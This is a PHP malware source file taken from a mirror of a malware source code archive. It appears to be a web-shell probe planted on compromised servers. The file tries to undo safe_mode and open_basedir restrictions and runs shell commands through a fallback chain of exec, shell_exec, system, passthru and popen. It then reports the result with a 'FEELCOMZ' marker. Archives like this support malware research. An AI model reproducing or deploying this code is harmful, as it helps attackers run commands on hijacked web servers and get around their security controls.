mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 03:58:34 +00:00
50 lines
982 B
Plaintext
50 lines
982 B
Plaintext
<?php
|
|
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
|
|
$contrs=0;
|
|
}
|
|
else{
|
|
ini_restore("safe_mode");
|
|
ini_restore("open_basedir");
|
|
if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){
|
|
$contrs=0;}
|
|
else{
|
|
$contrs=1;
|
|
}}
|
|
|
|
if($contrs == 0){
|
|
echo("FEELCOMZ"."SAFEOFF");
|
|
}else{
|
|
echo("FEELCOMZ"."SAFEON");
|
|
}
|
|
|
|
function ex($cfe){
|
|
$res = '';
|
|
if (!empty($cfe)){
|
|
if(function_exists('exec')){
|
|
@exec($cfe,$res);
|
|
$res = join("\n",$res);
|
|
}
|
|
elseif(function_exists('shell_exec')){
|
|
$res = @shell_exec($cfe);
|
|
}
|
|
elseif(function_exists('system')){
|
|
@ob_start();
|
|
@system($cfe);
|
|
$res = @ob_get_contents();
|
|
@ob_end_clean();
|
|
}
|
|
elseif(function_exists('passthru')){
|
|
@ob_start();
|
|
@passthru($cfe);
|
|
$res = @ob_get_contents();
|
|
@ob_end_clean();
|
|
}
|
|
elseif(@is_resource($f = @popen($cfe,"r"))){
|
|
$res = "";
|
|
while(!@feof($f)) { $res .= @fread($f,1024); }
|
|
@pclose($f);
|
|
}}
|
|
return $res;
|
|
}
|
|
exit;
|
|
?> |